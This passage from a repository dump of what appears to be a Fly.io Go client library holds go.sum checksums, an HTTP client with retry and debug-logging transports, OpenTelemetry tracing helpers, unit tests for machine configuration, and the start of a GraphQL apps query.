h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY= 42 | github.com/go-logr/stdr v1.2.2 h1:hSWxHoqTgW2S2qGc0LTAI563KZ5YKYRhT3MFKZMbjag= 43 | github.com/go-logr/stdr v1.2.2/go.mod h1:mMo/vtBO5dYbehREoey6XUKy/eSumjCCveDpRre4VKE= 44 | github.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= 45 | github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= 46 | github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= 47 | github.com/google/go-querystring v1.1.0 h1:AnCroh3fv4ZBgVIf1Iwtovgjaw/GiKJo8M8yD/fhyJ8= 48 | github.com/google/go-querystring v1.1.0/go.mod h1:Kcdr2DB4koayq7X8pmAG4sNG59So17icRSOU623lUBU= 49 | github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= 50 | github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= 51 | github.com/gorilla/websocket v1.5.0 h1:PPwGk2jz7EePpoHN/+ClbZu8SPxiqlu12wZP/3sWmnc= 52 | github.com/gorilla/websocket v1.5.0/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= 53 | github.com/hashicorp/go-cleanhttp v0.5.2 h1:035FKYIWjmULyFRBKPs8TBQoi0x6d9G4xc9neXJWAZQ= 54 | github.com/hashicorp/go-cleanhttp v0.5.2/go.mod h1:kO/YDlP8L1346E6Sodw+PrpBSV4/SoxCXGY6BqNFT48= 55 | github.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs4luLUK2k= 56 | github.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM= 57 | github.com/hexops/gotextdiff v1.0.3 h1:gitA9+qJrrTCsiCl7+kh75nPqQt1cx4ZkudSTLoUqJM= 58 | github.com/hexops/gotextdiff v1.0.3/go.mod h1:pSWU5MAI3yDq+fZBTazCSJysOMbxWL1BSow5/V2vxeg= 59 | github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= 60 | github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= 61 | github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= 62 | github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= 63 | github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= 64 | github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= 65 | github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= 66 | github.com/matryer/is v1.4.0 h1:sosSmIWwkYITGrxZ25ULNDeKiMNzFSr4V/eqBQP0PeE= 67 | github.com/matryer/is v1.4.0/go.mod h1:8I/i5uYgLzgsgEloJE1U6xx5HkBQpAZvepWuujKwMRU= 68 | github.com/pkg/diff v0.0.0-20210226163009-20ebb0f2a09e/go.mod h1:pJLUxLENpZxwdsKMEsNbx1VGcRFpLqf3715MtcvvzbA= 69 | github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= 70 | github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= 71 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 72 | github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 h1:Jamvg5psRIccs7FGNTlIRMkT8wgtp5eCXdBlqhYGL6U= 73 | github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 74 | github.com/rogpeppe/go-internal v1.9.0/go.mod h1:WtVeX8xhTBvf0smdhujwtBcq4Qrzq/fJaraNFVN+nFs= 75 | github.com/rogpeppe/go-internal v1.12.0 h1:exVL4IDcn6na9z1rAb56Vxr+CgyK3nn3O+epU5NdKM8= 76 | github.com/rogpeppe/go-internal v1.12.0/go.mod h1:E+RYuTGaKKdloAfM02xzb0FW3Paa99yedzYV+kq4uf4= 77 | github.com/sergi/go-diff v1.3.1 h1:xkr+Oxo4BOQKmkn/B9eMK0g5Kg/983T9DqqPHwYqD+8= 78 | github.com/sergi/go-diff v1.3.1/go.mod h1:aMJSSKb2lpPvRNec0+w3fl7LP9IOFzdc9Pa4NFbPK1I= 79 | github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ= 80 | github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ= 81 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 82 | github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= 83 | github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 84 | github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg= 85 | github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= 86 | github.com/superfly/graphql v0.2.6 h1:zppbodNerWecoXEdjkhrqaNaSjGqobhXNlViHFuZzb4= 87 | github.com/superfly/graphql v0.2.6/go.mod h1:CVfDl31srm8HnJ9udwLu6hFNUW/P6GUM2dKcG1YQ8jc= 88 | github.com/superfly/macaroon v0.3.0 h1:tdRq5VqBCNJIlvYByZZ3bGDOKX/v0llQM/Ljd27DbU8= 89 | github.com/superfly/macaroon v0.3.0/go.mod h1:ZAmlRD/Hmp/ddTxE8IonZ7NdTny2DcOffRvZhapQwJw= 90 | github.com/vektah/gqlparser/v2 v2.5.16 h1:1gcmLTvs3JLKXckwCwlUagVn/IlV2bwqle0vJ0vy5p8= 91 | github.com/vektah/gqlparser/v2 v2.5.16/go.mod h1:1lz1OeCqgQbQepsGxPVywrjdBHW2T08PUS3pJqepRww= 92 | github.com/vmihailenco/msgpack/v5 v5.4.1 h1:cQriyiUvjTwOHg8QZaPihLWeRAAVoCpE00IUPn0Bjt8= 93 | github.com/vmihailenco/msgpack/v5 v5.4.1/go.mod h1:GaZTsDaehaPpQVyxrf5mtQlH+pc21PIudVV/E3rRQok= 94 | github.com/vmihailenco/tagparser/v2 v2.0.0 h1:y09buUbR+b5aycVFQs/g70pqKVZNBmxwAhO7/IwNM9g= 95 | github.com/vmihailenco/tagparser/v2 v2.0.0/go.mod h1:Wri+At7QHww0WTrCBeu4J6bNtoV6mEfg5OIWRZA9qds= 96 | go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.52.0 h1:9l89oX4ba9kHbBol3Xin3leYJ+252h0zszDtBwyKe2A= 97 | go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.52.0/go.mod h1:XLZfZboOJWHNKUv7eH0inh0E9VV6eWDFB/9yJyTLPp0= 98 | go.opentelemetry.io/otel v1.27.0 h1:9BZoF3yMK/O1AafMiQTVu0YDj5Ea4hPhxCs7sGva+cg= 99 | go.opentelemetry.io/otel v1.27.0/go.mod h1:DMpAK8fzYRzs+bi3rS5REupisuqTheUlSZJ1WnZaPAQ= 100 | go.opentelemetry.io/otel/metric v1.27.0 h1:hvj3vdEKyeCi4YaYfNjv2NUje8FqKqUY8IlF0FxV/ik= 101 | go.opentelemetry.io/otel/metric v1.27.0/go.mod h1:mVFgmRlhljgBiuk/MP/oKylr4hs85GZAylncepAX/ak= 102 | go.opentelemetry.io/otel/trace v1.27.0 h1:IqYb813p7cmbHk0a5y6pD5JPakbVfftRXABGt5/Rscw= 103 | go.opentelemetry.io/otel/trace v1.27.0/go.mod h1:6RiD1hkAprV4/q+yd2ln1HG9GoPx39SuvvstaLBl+l4= 104 | golang.org/x/crypto v0.31.0 h1:ihbySMvVjLAeSH1IbfcRTkD/iNscyz8rGzjF/E5hV6U= 105 | golang.org/x/crypto v0.31.0/go.mod h1:kDsLvtWBEx7MV9tJOj9bnXsPbxwJQ6csT/x4KIN4Ssk= 106 | golang.org/x/exp v0.0.0-20240416160154-fe59bbe5cc7f h1:99ci1mjWVBWwJiEKYY6jWa4d2nTQVIEhZIptnrVb1XY= 107 | golang.org/x/exp v0.0.0-20240416160154-fe59bbe5cc7f/go.mod h1:/lliqkxwWAhPjf5oSOIJup2XcqJaw8RGS6k3TGEc7GI= 108 | golang.org/x/mod v0.17.0 h1:zY54UmvipHiNd+pm+m0x9KhZ9hl1/7QNMyxXbc6ICqA= 109 | golang.org/x/mod v0.17.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= 110 | golang.org/x/net v0.0.0-20210510120150-4163338589ed/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= 111 | golang.org/x/net v0.30.0 h1:AcW1SDZMkb8IpzCdQUaIq2sP4sZ4zw+55h6ynffypl4= 112 | golang.org/x/net v0.30.0/go.mod h1:2wGyMJ5iFasEhkwi13ChkO/t1ECNC4X4eBKkVFyYFlU= 113 | golang.org/x/sync v0.7.0 h1:YsImfSBoP9QPYL0xyKJPq0gcaJdG3rInoqxTWbfQu9M= 114 | golang.org/x/sync v0.7.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= 115 | golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 116 | golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 117 | golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 118 | golang.org/x/sys v0.28.0 h1:Fksou7UEQUWlKvIdsqzJmUmCX3cZuD2+P3XyyzwMhlA= 119 | golang.org/x/sys v0.28.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 120 | golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= 121 | golang.org/x/term v0.27.0 h1:WP60Sv1nlK1T6SupCHbXzSaN0b9wUmsPoRS9b61A23Q= 122 | golang.org/x/term v0.27.0/go.mod h1:iMsnZpn0cago0GOrHO2+Y7u7JPn5AylBrcoWkElMTSM= 123 | golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 124 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 125 | golang.org/x/tools v0.20.0 h1:hz/CVckiOxybQvFw6h7b/q80NTr9IUQb4s1IIzW7KNY= 126 | golang.org/x/tools v0.20.0/go.mod h1:WvitBU7JJf6A4jOdg4S1tviW9bhUxkgeCui/0JHctQg= 127 | golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 128 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 129 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= 130 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= 131 | gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= 132 | gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= 133 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 134 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 135 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 136 | -------------------------------------------------------------------------------- /http.go: -------------------------------------------------------------------------------- 1 | package fly 2 | 3 | import ( 4 | "bytes" 5 | "context" 6 | "io" 7 | "math" 8 | "net/http" 9 | "sync" 10 | "time" 11 | 12 | "github.com/PuerkitoBio/rehttp" 13 | ) 14 | 15 | func NewHTTPClient(logger Logger, transport http.RoundTripper) (*http.Client, error) { 16 | retryTransport := rehttp.NewTransport( 17 | transport, 18 | rehttp.RetryAll( 19 | rehttp.RetryMaxRetries(3), 20 | rehttp.RetryAny( 21 | rehttp.RetryTemporaryErr(), 22 | rehttp.RetryStatuses(502, 503), 23 | ), 24 | ), 25 | rehttp.ExpJitterDelay(100*time.Millisecond, 1*time.Second), 26 | ) 27 | 28 | if logger != nil { 29 | return &http.Client{ 30 | Transport: &LoggingTransport{ 31 | InnerTransport: retryTransport, 32 | Logger: logger, 33 | }, 34 | }, nil 35 | } 36 | 37 | return &http.Client{ 38 | Transport: retryTransport, 39 | }, nil 40 | } 41 | 42 | type LoggingTransport struct { 43 | InnerTransport http.RoundTripper 44 | Logger Logger 45 | mu sync.Mutex 46 | } 47 | 48 | func (t *LoggingTransport) RoundTrip(req *http.Request) (*http.Response, error) { 49 | ctx := context.WithValue(req.Context(), contextKeyRequestStart, time.Now()) 50 | req = req.WithContext(ctx) 51 | 52 | t.logRequest(req) 53 | 54 | resp, err := t.InnerTransport.RoundTrip(req) 55 | if err != nil { 56 | return resp, err 57 | } 58 | 59 | t.logResponse(resp) 60 | 61 | return resp, err 62 | } 63 | 64 | func (t *LoggingTransport) logRequest(req *http.Request) { 65 | t.mu.Lock() 66 | defer t.mu.Unlock() 67 | 68 | t.Logger.Debugf("--> %s %s\n", req.Method, req.URL) 69 | 70 | if req.Body == nil { 71 | return 72 | } 73 | 74 | defer func() { _ = req.Body.Close() }() 75 | 76 | data, err := io.ReadAll(req.Body) 77 | 78 | if err != nil { 79 | t.Logger.Debug("error reading request body:", err) 80 | } else { 81 | t.Logger.Debug(string(data)) 82 | } 83 | 84 | if req.Body != nil { 85 | t.Logger.Debug(req.Body) 86 | } 87 | 88 | req.Body = io.NopCloser(bytes.NewReader(data)) 89 | } 90 | 91 | func (t *LoggingTransport) logResponse(resp *http.Response) { 92 | t.mu.Lock() 93 | defer t.mu.Unlock() 94 | 95 | ctx := resp.Request.Context() 96 | defer func() { _ = resp.Body.Close() }() 97 | 98 | if start, ok := ctx.Value(contextKeyRequestStart).(time.Time); ok { 99 | t.Logger.Debugf("<-- %d %s (%s)\n", resp.StatusCode, resp.Request.URL, shiftedDuration(time.Since(start), 2)) 100 | } else { 101 | t.Logger.Debugf("<-- %d %s %s\n", resp.StatusCode, resp.Request.URL) 102 | } 103 | 104 | data, err := io.ReadAll(resp.Body) 105 | 106 | if err != nil { 107 | t.Logger.Debug("error reading response body:", err) 108 | } else { 109 | t.Logger.Debug(string(data)) 110 | } 111 | 112 | resp.Body = io.NopCloser(bytes.NewReader(data)) 113 | } 114 | 115 | func shiftedDuration(d time.Duration, dicimal int) time.Duration { 116 | shift := int(math.Pow10(dicimal)) 117 | 118 | units := []time.Duration{time.Second, time.Millisecond, time.Microsecond, time.Nanosecond} 119 | for _, u := range units { 120 | if d > u { 121 | div := u / time.Duration(shift) 122 | if div == 0 { 123 | break 124 | } 125 | d = d / div * div 126 | break 127 | } 128 | } 129 | 130 | return d 131 | } 132 | -------------------------------------------------------------------------------- /internal/tracing/tracing.go: -------------------------------------------------------------------------------- 1 | package tracing 2 | 3 | import ( 4 | "net/http" 5 | 6 | "go.opentelemetry.io/otel" 7 | "go.opentelemetry.io/otel/codes" 8 | "go.opentelemetry.io/otel/trace" 9 | ) 10 | 11 | const ( 12 | tracerName = "github.com/superfly/flyctl" 13 | HeaderFlyTraceId = "fly-trace-id" 14 | HeaderFlySpanId = "fly-span-id" 15 | ) 16 | 17 | func GetTracer() trace.Tracer { 18 | return otel.Tracer(tracerName) 19 | } 20 | 21 | func RecordError(span trace.Span, err error, description string) { 22 | span.RecordError(err) 23 | span.SetStatus(codes.Error, description) 24 | } 25 | 26 | func SpanContextFromHeaders(res *http.Response) trace.SpanContext { 27 | traceIDstr := res.Header.Get(HeaderFlyTraceId) 28 | spanIDstr := res.Header.Get(HeaderFlySpanId) 29 | 30 | traceID, _ := trace.TraceIDFromHex(traceIDstr) 31 | spanID, _ := trace.SpanIDFromHex(spanIDstr) 32 | 33 | return trace.NewSpanContext(trace.SpanContextConfig{ 34 | TraceID: traceID, 35 | SpanID: spanID, 36 | }) 37 | } 38 | -------------------------------------------------------------------------------- /machine_types_test.go: -------------------------------------------------------------------------------- 1 | package fly 2 | 3 | import ( 4 | "bytes" 5 | "encoding/json" 6 | "testing" 7 | "time" 8 | ) 9 | 10 | func TestIsReleaseCommandMachine(t *testing.T) { 11 | type testcase struct { 12 | name string 13 | machine Machine 14 | expected bool 15 | } 16 | 17 | cases := []testcase{ 18 | { 19 | name: "release machine using 'process_group'", 20 | expected: true, 21 | machine: Machine{ 22 | Config: &MachineConfig{ 23 | Metadata: map[string]string{ 24 | "process_group": "release_command", 25 | }, 26 | }, 27 | }, 28 | }, 29 | { 30 | name: "release machine using 'fly_process_group'", 31 | expected: true, 32 | machine: Machine{ 33 | Config: &MachineConfig{ 34 | Metadata: map[string]string{ 35 | "fly_process_group": "fly_app_release_command", 36 | }, 37 | }, 38 | }, 39 | }, 40 | { 41 | name: "non-release machine using 'fly_process_group'", 42 | expected: false, 43 | machine: Machine{ 44 | Config: &MachineConfig{ 45 | Metadata: map[string]string{ 46 | "fly_process_group": "web", 47 | }, 48 | }, 49 | }, 50 | }, 51 | { 52 | name: "non-release machine using 'process_group'", 53 | expected: false, 54 | machine: Machine{ 55 | Config: &MachineConfig{ 56 | Metadata: map[string]string{ 57 | "process_group": "web", 58 | }, 59 | }, 60 | }, 61 | }, 62 | } 63 | 64 | for _, tc := range cases { 65 | result := tc.machine.IsReleaseCommandMachine() 66 | if result != tc.expected { 67 | t.Errorf("%s, got '%v', want '%v'", tc.name, result, tc.expected) 68 | } 69 | } 70 | } 71 | 72 | func TestGetProcessGroup(t *testing.T) { 73 | type testcase struct { 74 | name string 75 | machine *Machine 76 | expected string 77 | } 78 | 79 | cases := []testcase{ 80 | { 81 | name: "machine with only 'process_group'", 82 | expected: "web", 83 | machine: &Machine{ 84 | Config: &MachineConfig{ 85 | Metadata: map[string]string{ 86 | "process_group": "web", 87 | }, 88 | }, 89 | }, 90 | }, 91 | { 92 | name: "machine with both 'process_group' & 'fly_process_group'", 93 | expected: "app", 94 | machine: &Machine{ 95 | Config: &MachineConfig{ 96 | Metadata: map[string]string{ 97 | "process_group": "web", 98 | "fly_process_group": "app", 99 | }, 100 | }, 101 | }, 102 | }, 103 | { 104 | name: "machine with only 'fly_process_group'", 105 | expected: "web", 106 | machine: &Machine{ 107 | Config: &MachineConfig{ 108 | Metadata: map[string]string{ 109 | "fly_process_group": "web", 110 | }, 111 | }, 112 | }, 113 | }, 114 | { 115 | name: "machine with incomplete config and 'fly_process_group'", 116 | expected: "web", 117 | machine: &Machine{ 118 | IncompleteConfig: &MachineConfig{ 119 | Metadata: map[string]string{ 120 | "fly_process_group": "web", 121 | }, 122 | }, 123 | }, 124 | }, 125 | } 126 | 127 | for _, tc := range cases { 128 | result := tc.machine.ProcessGroup() 129 | if result != tc.expected { 130 | t.Errorf("%s, got '%v', want '%v'", tc.name, result, tc.expected) 131 | } 132 | } 133 | } 134 | 135 | func TestMachineGuest_SetSize(t *testing.T) { 136 | var guest MachineGuest 137 | 138 | if err := guest.SetSize("unknown"); err == nil { 139 | t.Error("want error for invalid kind") 140 | } 141 | 142 | if err := guest.SetSize("shared-cpu-3x"); err == nil { 143 | t.Error("want error for invalid preset name") 144 | } 145 | 146 | // Set GPU related fields that must be unset for non-gpu-size-alias 147 | if err := guest.SetSize("a100-40gb"); err != nil { 148 | t.Errorf("got error for valid preset name: %v", err) 149 | } else { 150 | if guest.GPUs != 1 { 151 | t.Errorf("Expected 1 gpu, got: %v", guest.GPUs) 152 | } 153 | if guest.GPUKind != "a100-pcie-40gb" { 154 | t.Errorf("Expected a100-pcie-40gb gpu kind, got: %v", guest.GPUKind) 155 | } 156 | } 157 | 158 | if err := guest.SetSize("performance-4x"); err != nil { 159 | t.Errorf("got error for valid preset name: %v", err) 160 | } else { 161 | if guest.CPUs != 4 { 162 | t.Errorf("Expected 4 cpus, got: %v", guest.CPUs) 163 | } 164 | if guest.CPUKind != "performance" { 165 | t.Errorf("Expected performance cpu kind, got: %v", guest.CPUKind) 166 | } 167 | if guest.MemoryMB != 8192 { 168 | t.Errorf("Expected 8192 MB of memory , got: %v", guest.MemoryMB) 169 | } 170 | if guest.GPUs != 0 { 171 | t.Errorf("Expected 0 gpus, got: %v", guest.GPUs) 172 | } 173 | if guest.GPUKind != "" { 174 | t.Errorf("Expected non gpu kind, got: %v", guest.GPUKind) 175 | } 176 | } 177 | } 178 | 179 | func TestMachineGuest_ToSize(t *testing.T) { 180 | for want, guest := range MachinePresets { 181 | got := guest.ToSize() 182 | if want != got { 183 | t.Errorf("want '%s', got '%s'", want, got) 184 | } 185 | } 186 | 187 | got := (&MachineGuest{}).ToSize() 188 | if got != "unknown" { 189 | t.Errorf("want 'unknown', got '%s'", got) 190 | } 191 | } 192 | 193 | func TestMachineMostRecentStartTimeAfterLaunch(t *testing.T) { 194 | type testcase struct { 195 | name string 196 | machine *Machine 197 | expected time.Time 198 | expectedErr bool 199 | } 200 | var ( 201 | time01 = time.Now() 202 | time05 = time01.Add(5 * time.Second) 203 | time17 = time01.Add(17 * time.Second) 204 | time99 = time01.Add(99 * time.Second) 205 | ) 206 | cases := []testcase{ 207 | {name: "nil machine", machine: nil, expectedErr: true}, 208 | {name: "no events", machine: &Machine{}, expectedErr: true}, 209 | {name: "launch only event", expectedErr: true, 210 | machine: &Machine{Events: []*MachineEvent{ 211 | {Type: "launch", Timestamp: time01.UnixMilli()}, 212 | }}, 213 | }, 214 | {name: "start only event", expectedErr: true, 215 | machine: &Machine{Events: []*MachineEvent{ 216 | {Type: "start", Timestamp: time01.UnixMilli()}, 217 | }}, 218 | }, 219 | {name: "launch after start", expectedErr: true, 220 | machine: &Machine{Events: []*MachineEvent{ 221 | {Type: "launch", Timestamp: time05.UnixMilli()}, 222 | {Type: "start", Timestamp: time01.UnixMilli()}, 223 | }}, 224 | }, 225 | {name: "exit after start", expectedErr: true, 226 | machine: &Machine{Events: []*MachineEvent{ 227 | {Type: "exit", Timestamp: time05.UnixMilli()}, 228 | {Type: "start", Timestamp: time01.UnixMilli()}, 229 | }}, 230 | }, 231 | {name: "launch, start", expected: time17, 232 | machine: &Machine{Events: []*MachineEvent{ 233 | {Type: "start", Timestamp: time17.UnixMilli()}, 234 | {Type: "launch", Timestamp: time05.UnixMilli()}, 235 | }}, 236 | }, 237 | {name: "exit, launch, start", expected: time17, 238 | machine: &Machine{Events: []*MachineEvent{ 239 | {Type: "start", Timestamp: time17.UnixMilli()}, 240 | {Type: "launch", Timestamp: time05.UnixMilli()}, 241 | {Type: "exit", Timestamp: time01.UnixMilli()}, 242 | }}, 243 | }, 244 | {name: "exit, launch, start, exit", expectedErr: true, 245 | machine: &Machine{Events: []*MachineEvent{ 246 | {Type: "exit", Timestamp: time99.UnixMilli()}, 247 | {Type: "start", Timestamp: time17.UnixMilli()}, 248 | {Type: "launch", Timestamp: time05.UnixMilli()}, 249 | {Type: "exit", Timestamp: time01.UnixMilli()}, 250 | }}, 251 | }, 252 | } 253 | for _, testCase := range cases { 254 | actual, err := testCase.machine.MostRecentStartTimeAfterLaunch() 255 | if testCase.expectedErr { 256 | if err == nil { 257 | t.Error(testCase.name, "expected error, got nil") 258 | } 259 | } else { 260 | if err != nil { 261 | t.Error(testCase.name, "unexpected error:", err) 262 | } else { 263 | delta := testCase.expected.Sub(actual) 264 | if delta < -1*time.Millisecond || delta > 1*time.Millisecond { 265 | t.Error(testCase.name, "expected", testCase.expected, "got", actual) 266 | } 267 | } 268 | } 269 | } 270 | } 271 | 272 | func TestMachineAutostopUnmarshalJSON(t *testing.T) { 273 | type testcase struct { 274 | input string 275 | output MachineAutostop 276 | } 277 | cases := []testcase{ 278 | {`false`, MachineAutostopOff}, 279 | {`true`, MachineAutostopStop}, 280 | {`"off"`, MachineAutostopOff}, 281 | {`"stop"`, MachineAutostopStop}, 282 | {`"suspend"`, MachineAutostopSuspend}, 283 | } 284 | for _, testCase := range cases { 285 | var s MachineAutostop 286 | if err := json.Unmarshal([]byte(testCase.input), &s); err != nil { 287 | t.Errorf("input %s: unexpected error: %v", testCase.input, err) 288 | } else if s != testCase.output { 289 | t.Errorf("input %s: expected %v, got %v", testCase.input, testCase.output, s) 290 | } 291 | } 292 | } 293 | 294 | func TestMachineAutostopMarshalJSON(t *testing.T) { 295 | type testcase struct { 296 | input MachineAutostop 297 | output string 298 | } 299 | cases := []testcase{ 300 | {MachineAutostopOff, `false`}, // it's important for backward-compatibility 301 | {MachineAutostopStop, `true`}, // that these are serialized as booleans! 302 | {MachineAutostopSuspend, `"suspend"`}, 303 | } 304 | for _, testCase := range cases { 305 | b, err := json.Marshal(testCase.input) 306 | if err != nil { 307 | t.Errorf("input %v: unexpected error: %v", testCase.input, err) 308 | } else if !bytes.Equal(b, []byte(testCase.output)) { 309 | t.Errorf("input %v: expected %v, got %s", testCase.input, testCase.output, string(b)) 310 | } 311 | } 312 | } 313 | 314 | func TestIsAppV2(t *testing.T) { 315 | type testcase struct { 316 | name string 317 | machine *Machine 318 | expected bool 319 | } 320 | 321 | cases := []testcase{ 322 | { 323 | name: "machine with 'fly_platform_version=v2'", 324 | expected: true, 325 | machine: &Machine{ 326 | Config: &MachineConfig{ 327 | Metadata: map[string]string{"fly_platform_version": "v2"}, 328 | }, 329 | }, 330 | }, 331 | { 332 | name: "machine with non v2 'fly_platform_version'", 333 | expected: false, 334 | machine: &Machine{ 335 | Config: &MachineConfig{ 336 | Metadata: map[string]string{"fly_platform_version": "v1"}, 337 | }, 338 | }, 339 | }, 340 | { 341 | name: "machine without config", 342 | expected: false, 343 | machine: &Machine{}, 344 | }, 345 | { 346 | name: "machine with 'fly_platform_version=v2' in incomplete config", 347 | expected: true, 348 | machine: &Machine{ 349 | IncompleteConfig: &MachineConfig{ 350 | Metadata: map[string]string{"fly_platform_version": "v2"}, 351 | }, 352 | }, 353 | }, 354 | } 355 | 356 | for _, tc := range cases { 357 | result := tc.machine.IsAppsV2() 358 | if result != tc.expected { 359 | t.Errorf("%s, got '%v', want '%v'", tc.name, result, tc.expected) 360 | } 361 | } 362 | } 363 | -------------------------------------------------------------------------------- /resource_apps.go: -------------------------------------------------------------------------------- 1 | package fly 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "strings" 7 | ) 8 | 9 | func (client *Client) GetApps(ctx context.Context, role *string) ([]App, error) { 10 | more := true 11 | apps := []App{} 12 | var cursor string 13 | 14 | for more { 15 | var appPage []App 16 | var err error 17 | 18 | appPage, more, cursor, err = client.getAppsPage(ctx, nil, role, &cursor) 19 | if err != nil { 20 | return nil, err 21 | } 22 | apps = append(apps, appPage...) 23 | } 24 | 25 | return apps, nil 26 | } 27 | 28 | func (client *Client) GetAppsForOrganization(ctx context.Context, orgID string) ([]App, error) { 29 | more := true 30 | apps := []App{} 31 | var cursor string 32 | 33 | for more { 34 | var appPage []App 35 | var err error 36 | 37 | appPage, more, cursor, err = client.getAppsPage(ctx, &orgID, nil, &cursor) 38 | if err != nil { 39 | return nil, err 40 | } 41 | apps = append(apps, appPage...) 42 | } 43 | 44 | return apps, nil 45 | } 46 | 47 | func (client *Client) getAppsPage(ctx context.Context, orgID *string, role *string, after *string) ([]App, bool, string, error) { 48 | query := ` 49 | query($org: ID, $role: String, $after: String) { 50 | apps(type: "container", first: 200, after: $after, organizationId: $org, role: $role) { 51 | pageInfo { 52 | hasNextPage 53 | endCursor 54 | } 55 | nodes { 56 | id 57 | name 58 | deployed 59 | hostname 60 | platformVersion 61 | organization { 62 | 